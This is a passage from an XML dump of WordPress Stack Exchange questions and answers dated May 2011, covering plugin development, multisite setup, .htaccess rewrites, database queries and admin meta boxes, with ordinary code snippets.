your vhost.  Change virtual host to look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;VirtualHost *9000&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-05-22T08:48:49.000" CommentCount="4" />
  <row Id="17928" PostTypeId="2" ParentId="17918" CreationDate="2011-05-22T09:36:26.760" Score="0" ViewCount="" Body="&lt;p&gt;Not entirely clear on the question. But If it's navigation OUTSIDE the loop that you want. Then get &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-pagenavi/&quot; rel=&quot;nofollow&quot;&gt;wp-pagenavi&lt;/a&gt; and set it up however you want (prev/next only, or numbered navigation) and then simply call the following in the footer OR anywhere in the template files you want the navigation to show.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_pagenavi(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4194" LastActivityDate="2011-05-22T09:36:26.760" />
  <row Id="17929" PostTypeId="2" ParentId="17455" CreationDate="2011-05-22T12:05:08.930" Score="2" ViewCount="" Body="&lt;p&gt;The php function which handles the submitted values in this plugin checks first if the button's value &lt;code&gt;isset&lt;/code&gt;. When using the original submit it is. When using &lt;code&gt;preventDefault()&lt;/code&gt; and then calling &lt;code&gt;submit()&lt;/code&gt; it isn't and therefor the php doesn't handle the submitted form but rebuilds it. To fix this I just added to the &lt;code&gt;isset()&lt;/code&gt; check a check if the lat/long values are true. That did the trick.&lt;/p&gt;&#xA;" OwnerUserId="5171" LastActivityDate="2011-05-22T12:05:08.930" />
  <row Id="17930" PostTypeId="1" AcceptedAnswerId="18667" CreationDate="2011-05-22T12:09:28.083" Score="1" ViewCount="113" Body="&lt;p&gt;What favicon plugin should I use in order to define favicons for Wordpress when I run in multi-site mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Uploading favicon.ico files is not an option for multi-site wordpress instances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for something simple that will not pollute the generated pages with hidden advertising.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Looking to be able to define favicons on a per site basis. Different favicons for different sites.&lt;/p&gt;&#xA;" OwnerUserId="944" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-05-22T16:16:06.783" LastActivityDate="2011-07-16T17:36:13.590" Title="Favicon plugin for WordPress running in network mode (multisite)?" Tags="&lt;multisite&gt;&lt;network&gt;&lt;network-admin&gt;&lt;favicon&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="2" />
  <row Id="17931" PostTypeId="1" CreationDate="2011-05-22T12:49:53.603" Score="2" ViewCount="114" Body="&lt;p&gt;how do I get all posts and postmetas in an associative array?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$allposts = $wpdb-&amp;gt;get_results(&quot;&#xA;SELECT $wpdb-&amp;gt;posts.post_title, $wpdb-&amp;gt;postmeta.meta_key&#xA;FROM $wpdb-&amp;gt;posts&#xA;JOIN $wpdb-&amp;gt;postmeta &#xA;ON $wpdb-&amp;gt;postmeta.post_id = $wpdb-&amp;gt;posts.id&#xA;WHERE $wpdb-&amp;gt;posts.post_type = 'post' AND $wpdb-&amp;gt;posts.post_status ='publish';&quot;, OBJECT_K);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just don't get it.... &lt;/p&gt;&#xA;" OwnerUserId="5579" LastActivityDate="2011-05-22T13:05:08.523" Title="get posts and postmetas in assoc array" Tags="&lt;posts&gt;&lt;wpdb&gt;&lt;sql&gt;" AnswerCount="1" />
  <row Id="17932" PostTypeId="1" CreationDate="2011-05-22T12:57:29.283" Score="0" ViewCount="31" Body="&lt;p&gt;I use  &lt;a href=&quot;http://www.prelovac.com/vladimir/wordpress-plugins/insights&quot; rel=&quot;nofollow&quot;&gt;&quot;insights&quot; plugin&lt;/a&gt; on many of my blogs. But recently I'm not able to use it after I added the following code on my &lt;code&gt;.htaccess&lt;/code&gt; to remove &lt;code&gt;?replytocom&lt;/code&gt; from my URLs &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteCond %{QUERY_STRING} .&#xA;RewriteCond %{QUERY_STRING} !^(s|p)=.*&#xA;RewriteCond %{REQUEST_URI} !.*wp-admin.*&#xA;RewriteRule ^(.*)$ /$1? [R=301,L]&#xA;&amp;lt;/IfModule&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Insights will now show &quot;no results&quot; from my blog .  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I solve this problem?&lt;/p&gt;&#xA;" OwnerUserId="5580" LastEditorUserId="373" LastEditorDisplayName="" LastEditDate="2011-05-23T09:19:50.363" LastActivityDate="2011-05-23T09:19:50.363" Title="Insights Plugin Not Working after adding Certain .htaccess codes" Tags="&lt;plugins&gt;&lt;3.1&gt;&lt;htaccess&gt;" />
  <row Id="17933" PostTypeId="2" ParentId="17931" CreationDate="2011-05-22T13:05:08.523" Score="2" ViewCount="" Body="&lt;p&gt;Basically, you can't do it in a single SQL query. You need two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't have to make direct queries though, since you can use get_post() and get_post_custom().&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-05-22T13:05:08.523" CommentCount="2" />
  <row Id="17934" PostTypeId="1" CreationDate="2011-05-22T13:31:38.670" Score="1" ViewCount="40" Body="&lt;p&gt;I'm creating a plugin which counts social scores on various sites. It uses the various API's available on the web to determine a &quot;count&quot; of shares or likes across facebook, twitter, delicious, linkedin, stumbleupon, digg  etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many of you are probably familiar with javascript widgets for these sites. I'm frustrated with the overhead which this brings (multiple javascript calls, so I'm building something to work this out and store natively within Wordpress). This will also give scope for designers creating their own buttons with HTML, and a shortcode will show the share count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem lies in the speed of the response for the networks. They can be slow, so I'm looking for architecture / design advice. I was thinking of creating a table which holds POST_ID and a collection of scores which is updated often via WP-CRON.. and updates when a user clicks the share button as well to keep it in synch. Sound like a valid idea? Or any other ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are still confused, take a look at the new share button on the BBC. I want to bring this to Wordpress, minus the speed overhead.&lt;/p&gt;&#xA;" OwnerUserId="5578" LastActivityDate="2011-08-21T00:32:48.957" Title="Creating a social media score plugin" Tags="&lt;plugins&gt;" AnswerCount="1" />
  <row Id="17935" PostTypeId="1" AcceptedAnswerId="17938" CreationDate="2011-05-22T14:55:18.400" Score="4" ViewCount="136" Body="&lt;p&gt;I basically want to create a table (preferably AJAXified) that lets the user enter a line of information, and be able to add new lines of information, and delete selected ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1413/creating-a-table-in-the-admin-style&quot;&gt;this post&lt;/a&gt; and &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5974/creating-a-custom-admin-panel&quot;&gt;this post&lt;/a&gt;. The design side looks very straightforward, but I want to know about the functionality. How do I go about adding the field contents to the database and summoning them back up? How do I get that page &quot;plugged in&quot; to Wordpress as a whole? I have literally no idea where to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm coming from the perspective of someone who's confident in HTML &amp;amp; CSS, and fairly so with JS/jQuery, but basically just hacks up PHP code that he finds around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated, even up to telling me that it's beyond me right now, and to go play with X plugin. FWIW, I was considering doing this with a custom post type, or the Magic Fields plugin, but I wanted a more user-friendly experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;" OwnerUserId="5581" LastActivityDate="2011-05-22T17:59:31.733" Title="Any guides on creating custom admin pages?" Tags="&lt;php&gt;&lt;admin&gt;&lt;page&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" />
  <row Id="17936" PostTypeId="2" ParentId="11222" CreationDate="2011-05-22T15:02:36.777" Score="2" ViewCount="" Body="&lt;p&gt;Here is a list of all of the above answers and a removal of the admin bar link. Just add it to your themes function file or make it a plugin. I will mark this as a community wiki as everyone's answer is right just no one added it all together. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Removes from admin menu&#xA;add_action( 'admin_init', 'my_remove_admin_menus' );&#xA;function my_remove_admin_menus() {&#xA;    remove_menu_page( 'edit-comments.php' );&#xA;}&#xA;// Removes from post and pages&#xA;add_action('init', 'remove_comment_support');&#xA;&#xA;function remove_comment_support() {&#xA;    remove_post_type_support( 'post', 'comments' );&#xA;    remove_post_type_support( 'page', 'comments' );&#xA;}&#xA;// Removes from admin bar&#xA;function mytheme_admin_bar_render() {&#xA;    global $wp_admin_bar;&#xA;    $wp_admin_bar-&amp;gt;remove_menu('comments');&#xA;}&#xA;add_action( 'wp_before_admin_bar_render', 'mytheme_admin_bar_render' );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-22T15:02:36.777" CommunityOwnedDate="2011-05-22T15:02:36.777" />
  <row Id="17937" PostTypeId="1" CreationDate="2011-05-22T15:32:05.233" Score="0" ViewCount="206" Body="&lt;p&gt;Since this afternoon i keep getting a windows dialog box, asking for username/password.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;level_15 or view_access requires a&#xA;  username and password&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any idea what this could be?&lt;/p&gt;&#xA;" OwnerUserId="5411" LastActivityDate="2011-05-22T15:32:05.233" Title="what is level_15 or view_access" Tags="&lt;errors&gt;&lt;authentication&gt;" CommentCount="8" />
  <row Id="17938" PostTypeId="2" ParentId="17935" CreationDate="2011-05-22T16:27:47.613" Score="3" ViewCount="" Body="&lt;p&gt;I pretty much started in the same place as you a while back, and have created something similar. Here's what I think you need to know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Work out how to create your basic hello world first and foremost. A simple plugin will consist of a few comments at the top of a PHP file dropped into your plugins directory. Notice the variable calling the class which gets it moving. Constructor of the class calls add_top_level_menu, when this is clicked on (see $function variable) the display_page() function gets kicked off starting to build out your page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA; Plugin Name: Your plugin name&#xA; Description: Description&#xA; Version: 1.0&#xA; Author: You.com&#xA; Author URI: http://your.com&#xA;*/&#xA;$myplugvariable = new yourpluginname();&#xA;class yourpluginname()&#xA;{&#xA;  function __construct(){&#xA;  add_action( 'admin_menu', array( &amp;amp;$this, 'add_top_level_menu' ) );&#xA;  }&#xA;&#xA;  function add_admin_scripts(){&#xA;  //adds javavascript files for this plugin.&#xA;   wp_enqueue_script('my-script-name', WP_PLUGIN_URL . '/' . dirname(plugin_basename(__FILE__)) . '/js/javascript.js', array('jquery'), '1.0');&#xA;   wp_localize_script('my-script-name', 'MyScriptAjax', array('ajaxUrl' =&amp;gt; admin_url('admin-ajax.php')));&#xA;  }&#xA;&#xA;   function add_top_level_menu()&#xA;   {&#xA;        // Settings for the function call below&#xA;        $page_title = 'Plugin Name';&#xA;        $menu_title = 'Plugin Name';&#xA;        $menu_slug = 'plugin-name';&#xA;        $function = array( &amp;amp;$this, 'display_page' );&#xA;        $icon_url = NULL;&#xA;        $position = '';&#xA;&#xA;        // Creates a top level admin menu - this kicks off the 'display_page()' function to build the page&#xA;        $page = add_menu_page($page_title, $menu_title, $this-&amp;gt;capability, $menu_slug, $function, $icon_url, 10);&#xA;&#xA;        // Adds an additional sub menu page to the above menu - if we add this, we end up with 2 sub menu pages (the main pages is then in sub menu. But if we omit this, we have no sub menu&#xA;        // This has been left in incase we want to add an additional page here soon&#xA;        //add_submenu_page( $menu_slug, $page_title, $page_title, $capability, $menu_slug . '_sub_menu_page', $function );&#xA;&#xA;&#xA;    }&#xA;&#xA;    function display_page()&#xA;    {&#xA;        if (!current_user_can($this-&amp;gt;capability ))&#xA;        wp_die(__('You do not have sufficient permissions to access this page.'));&#xA;      //here comes the HTML to build the page in the admin.&#xA;      echo('HELLO WORLD');&#xA;&#xA;    }&#xA;&#xA;&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) Once you've created internal functions to return your data, whatever that may be. (use global wordpress data functions, e.g. $wpdb-&gt;get_results($sql).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) AJAX inside the admin is a bit different to how you normally use it. All wordpress AJAX calls hook into admin-ajax.php. I found this: &lt;a href=&quot;http://www.garyc40.com/2010/03/5-tips-for-using-ajax-in-wordpress/#js-global&quot; rel=&quot;nofollow&quot;&gt;http://www.garyc40.com/2010/03/5-tips-for-using-ajax-in-wordpress/#js-global&lt;/a&gt; quite good at explaining things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) If you are creating tables: something like the below will do the work for you. search for dbDelta in the codex.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function plugin_install() &#xA;    {&#xA;    global $wpdb;&#xA;    $table_name_prefix = &quot;plugin-name&quot;;&#xA;    $table_name = $wpdb-&amp;gt;prefix . &quot;plugin_name&quot;; &#xA;    $sql = &quot;CREATE TABLE &quot; . $table_name . &quot; (&#xA;         id mediumint(9) NOT NULL AUTO_INCREMENT,&#xA;         post_id mediumint(9) NOT NULL,&#xA;         score mediumint(9) NOT NULL&#xA;    );&quot;;&#xA;    require_once(ABSPATH . 'wp-admin/includes/upgrade.php');&#xA;    dbDelta($sql);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5578" LastActivityDate="2011-05-22T16:27:47.613" CommunityOwnedDate="2011-05-22T16:27:47.613" CommentCount="1" />
  <row Id="17939" PostTypeId="1" CreationDate="2011-05-22T17:09:11.843" Score="0" ViewCount="129" Body="&lt;p&gt;I recently converted several sites to run on a single Wordpress instance using the network mode (multi-site).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that now I cannot manually upload files to a specific downloads directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say that previously I used the 'download' directory to deploy files using SCP or FTP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This had different content on each site, but now with wordpress multi-site it will be shared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I solve this problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some requirements:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I want to be able to use the same directory name on multiple sites - don't tell me to add download1, download2, directories&lt;/li&gt;&#xA;&lt;li&gt;I do not want to share this directory content between multiple wordpress sites&lt;/li&gt;&#xA;&lt;li&gt;I want to be able to upload files using SCP/FTP&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="944" LastActivityDate="2011-05-22T17:09:11.843" Title="How to upload files using FTP/SCP in network WordPress installations?" Tags="&lt;multisite&gt;&lt;uploads&gt;" CommentCount="2" />
  <row Id="17941" PostTypeId="2" ParentId="17935" CreationDate="2011-05-22T17:59:31.733" Score="0" ViewCount="" Body="&lt;p&gt;Hey there, I would suggest WPAlchemy MetaBoxes.  Very easy to use, and it should help with what you are after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However keep in mind it's not yet a plugin, so you will not have a 'one click setup' to begin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.farinspace.com/wpalchemy-metabox/&quot; rel=&quot;nofollow&quot;&gt;http://www.farinspace.com/wpalchemy-metabox/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2811" LastActivityDate="2011-05-22T17:59:31.733" />
  <row Id="17942" PostTypeId="2" ParentId="17934" CreationDate="2011-05-22T18:02:51.917" Score="0" ViewCount="" Body="&lt;p&gt;WP_Cron &amp;amp; 'save_post'/'update_post' hooks sound good. But I'd try saving it either inside an option field or as post_meta data. A stand alone table might be too much an no one wants extra tables. Furthermore you leave other possibilites open if you go the &quot;native&quot; root with post_meta.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-22T18:02:51.917" />
  <row Id="17943" PostTypeId="2" ParentId="17903" CreationDate="2011-05-22T18:09:59.930" Score="4" ViewCount="" Body="&lt;p&gt;I can't give you links to the plugin repo, but here are some great people who share good code (in pretty different styles) on Github. Just take a look at the repos or their gists:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/bueltge&quot; rel=&quot;nofollow&quot;&gt;Frank Bültge&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/toscho&quot; rel=&quot;nofollow&quot;&gt;Thomas Scholz&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/mikeschinkel&quot; rel=&quot;nofollow&quot;&gt;Mike Schinkel&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/franz-josef-kaiser&quot; rel=&quot;nofollow&quot;&gt;Franz Josef Kaiser (me ;)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-02T00:22:21.890" LastActivityDate="2011-08-02T00:22:21.890" CommunityOwnedDate="2011-05-22T18:09:59.930" CommentCount="3" />
  <row Id="17944" PostTypeId="1" AcceptedAnswerId="17963" CreationDate="2011-05-22T18:20:17.320" Score="-1" ViewCount="53" Body="&lt;p&gt;Say I want to add this link: &lt;a href=&quot;http://localhost/taiwantalk2/user-login/&quot; rel=&quot;nofollow&quot;&gt;http://localhost/taiwantalk2/user-login/&lt;/a&gt;&#xA;Which is a Page with a template called &lt;strong&gt;page user-login.php&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/**&#xA; * Template Name: bbPress - User Login&#xA; *&#xA; * @package bbPress&#xA; * @subpackage Theme&#xA; */&#xA;&#xA;// No logged in users&#xA;bbp_logged_in_redirect();&#xA;&#xA;// Begin Template&#xA;get_header(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used to just paste the url of the site (using template_directory) plus the slug (/user-login).&#xA;The problem is that I have to stick with he same slug (/user-login).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other alternative? &lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-05-23T20:51:11.203" Title="Is there any way to display the link of a Wordpress page without relying in its slug (or full path)?" Tags="&lt;link&gt;" AnswerCount="2" />
  <row Id="17945" PostTypeId="2" ParentId="17903" CreationDate="2011-05-22T18:37:31.337" Score="1" ViewCount="" Body="&lt;p&gt;I'll offer one of mine which may give you a good place to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/mfields/taxonomy-short-description/blob/master/taxonomy-short-description.php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/mfields/taxonomy-short-description/blob/master/taxonomy-short-description.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that it showcase best practices in extending WordPress in a responsible manner. It does what it needs to do while not blocking other extensions from hooking into the same places.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions such as this are really hard to answer. There are really no requirements on what a plugin needs to do. They can do as little or as much as needed for their specific intended purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The topic of &quot;best practices&quot; definitely should be accounted for when developing plugins, but it is really impossible to find a single plugin which would demonstrate best practices hooking into all parts of WordPress.&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-05-22T18:37:31.337" CommunityOwnedDate="2011-05-22T18:37:31.337" />
  <row Id="17946" PostTypeId="1" CreationDate="2011-05-22T19:56:31.820" Score="0" ViewCount="121" Body="&lt;p&gt;I had Global Translator Wordpress plugin. It littered Google Search index with thousands of translated urls. Couple of months ago I removed the plugin and also the cached pages on the server. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But Google Index still have the translated web pages indexed and shows 404 errors in Web Master tools. I tried fixing the issue with robots.txt by blocking all the translated pages from index, but its taking long time to get it fixed.  Can someone suggest me the better way to get all those indexed pages out of Google Index?&lt;/p&gt;&#xA;" OwnerUserId="2950" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2011-07-08T15:19:41.377" LastActivityDate="2011-08-09T04:21:19.137" Title="Wordpress translator plugin: Google Webmaster's Tools shows hundreds of 404 not found errors. How to clean the mess?" Tags="&lt;translation&gt;&lt;google-translate&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="17947" PostTypeId="1" AcceptedAnswerId="18513" CreationDate="2011-05-22T20:12:48.457" Score="-1" ViewCount="60" Body="&lt;p&gt;I have no problem doing this in a comment, as an administrator:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;b&amp;gt;bold test&amp;lt;/b&amp;gt; &amp;lt;i&amp;gt;italics test&amp;lt;/i&amp;gt;&#xA;&amp;lt;u&amp;gt;underline test&amp;lt;/u&amp;gt; &amp;lt;font&#xA;color=&quot;#ff9900&quot;&amp;gt; color test&amp;lt;/font&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the subscribers can't underline, add color to words nor add images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it that only the admin can use more HTML tags than those suggested under the comment form?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&quot; title=&quot;&quot;&amp;gt; &amp;lt;abbr title=&quot;&quot;&amp;gt;&#xA;&amp;lt;acronym title=&quot;&quot;&amp;gt; &amp;lt;b&amp;gt; &amp;lt;blockquote&#xA;cite=&quot;&quot;&amp;gt; &amp;lt;cite&amp;gt; &amp;lt;code&amp;gt; &amp;lt;del&#xA;datetime=&quot;&quot;&amp;gt; &amp;lt;em&amp;gt; &amp;lt;i&amp;gt; &amp;lt;q cite=&quot;&quot;&amp;gt;&#xA;&amp;lt;strike&amp;gt; &amp;lt;strong&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to enable the subscribers to add color to text, and add images?&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-27T20:31:07.390" LastActivityDate="2011-05-27T20:40:22.153" Title="Expanding the allowed HTML tags in comments?" Tags="&lt;comments&gt;&lt;user-roles&gt;&lt;permissions&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="17948" PostTypeId="1" AcceptedAnswerId="17950" CreationDate="2011-05-22T20:31:31.507" Score="0" ViewCount="48" Body="&lt;p&gt;I have a class inside a file that i &lt;code&gt;include_once()&lt;/code&gt; from the functions.php of my theme. The class can be used as stand alone plugin, or integrated in a theme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside the class i want to fill a class variable (inside the &lt;code&gt;__construct()&lt;/code&gt; function) with the native wordpress function &lt;code&gt;get_plugin_data()&lt;/code&gt;. Fun as it is, i get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Call to undefined function &lt;code&gt;get_plugin_data()&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Am I asking for the plugin data too late, or what else might be my problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-22T20:50:40.987" Title="Call to undefined function `get_plugin_data()`" Tags="&lt;get-plugin-data&gt;" AnswerCount="1" />
  <row Id="17949" PostTypeId="1" CreationDate="2011-05-22T20:34:33.253" Score="0" ViewCount="57" Body="&lt;p&gt;I installed a new WP site with 3.1.2.  The way I set menu/header on my other sites was with the widget &quot;Header: Nav Menu&quot;.  When I go to that widget now, clicking the + sign to the left of &quot;Items&quot; doesn't add the new item.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking it's a browser compatibility problem, but I've tried FireFox 4, Chrome 11, and IE 8. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update 05/25 with Sample picture: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/B6BDe.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe what used to happen is that when I clicked the plus-sign (pointed to by red-arrow), a new gray box would appear, where I could enter a new URL.  But absolutely nothing is happening when I click the plus-sign. &lt;/p&gt;&#xA;" OwnerUserId="2550" LastEditorUserId="2550" LastEditorDisplayName="" LastEditDate="2011-05-26T00:22:15.883" LastActivityDate="2011-05-26T00:22:15.883" Title="plus sign not working in widget &quot;Header: Nav Menu&quot;" Tags="&lt;menus&gt;&lt;header&gt;" AnswerCount="1" />
  <row Id="17950" PostTypeId="2" ParentId="17948" CreationDate="2011-05-22T20:50:40.987" Score="1" ViewCount="" Body="&lt;p&gt;get_plugin_data() is only defined in the administration section. What info did you need to get from the plugin's header that you would need to display in the theme? If the answer is none, I would suggest that you place a conditional call in your constructor. Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_admin() ) {&#xA;    $var = get_plugin_data();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-05-22T20:50:40.987" />
  <row Id="17951" PostTypeId="2" ParentId="15394" CreationDate="2011-05-22T21:07:00.730" Score="1" ViewCount="" Body="&lt;p&gt;I recently got this working. You should search and replace &lt;code&gt;metaname&lt;/code&gt; with your meta box name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key to maintaining formatting was using &lt;code&gt;wpautop();&lt;/code&gt; when saving the data.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'add_meta_boxes', 'add_metaname_box');&#xA;&#xA;add_action( 'save_post', 'metaname_save');&#xA;&#xA;function add_metaname_box() {&#xA;    add_meta_box(&#xA;        'metaname_id',&#xA;        __( 'metaname text', 'metaname_textdomain'),&#xA;        'metaname_custom_box',&#xA;        'page'&#xA;    );&#xA;}&#xA;&#xA;function metaname_custom_box() {&#xA;    global $post;&#xA;    wp_nonce_field( plugin_basename( __FILE__ ), 'metaname_noncename' );&#xA;    $data = get_post_meta($post-&amp;gt;ID, 'metaname_custom_box', true);&#xA;    echo &amp;lt;&amp;lt;&amp;lt;EOT&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(document).ready(function() {&#xA;    jQuery(&quot;#metaname_custom_box&quot;).addClass(&quot;mceEditor&quot;);&#xA;    if ( typeof( tinyMCE ) == &quot;object&quot; &amp;amp;&amp;amp;&#xA;         typeof( tinyMCE.execCommand ) == &quot;function&quot; ) {&#xA;        tinyMCE.execCommand(&quot;mceAddControl&quot;, false, &quot;metaname_custom_box&quot;);&#xA;    }&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;textarea id=&quot;metaname_custom_box&quot; name=&quot;metaname_custom_box&quot;&amp;gt;$data&amp;lt;/textarea&amp;gt;&#xA;EOT;&#xA;}&#xA;&#xA;function metaname_save($post_id) {&#xA;    global $post;&#xA;&#xA;    // Verify&#xA;     if ( !wp_verify_nonce( $_POST['metaname_noncename'], plugin_basename(__FILE__) )) {&#xA;         return $post_id;&#xA;     }&#xA;     if ( 'page' == $_POST['post_type'] ) {&#xA;         if ( !current_user_can( 'edit_page', $post_id ))&#xA;             return $post_id;&#xA;     } else {&#xA;         if ( !current_user_can( 'edit_post', $post_id ))&#xA;             return $post_id;&#xA;     }&#xA;&#xA;     $key = 'metaname_custom_box';&#xA;    $data = wpautop($_POST[$key]);&#xA;&#xA;     // New, Update, and Delete&#xA;     if(get_post_meta($post_id, $key) == &quot;&quot;) &#xA;         add_post_meta($post_id, $key, $data, true);&#xA;     elseif($data != get_post_meta($post_id, $key, true))&#xA;         update_post_meta($post_id, $key, $data); &#xA;     elseif($data == &quot;&quot;)&#xA;         delete_post_meta($post_id, $key, get_post_meta($post_id, $key, true));        &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5583" LastActivityDate="2011-05-22T21:07:00.730" CommentCount="1" />
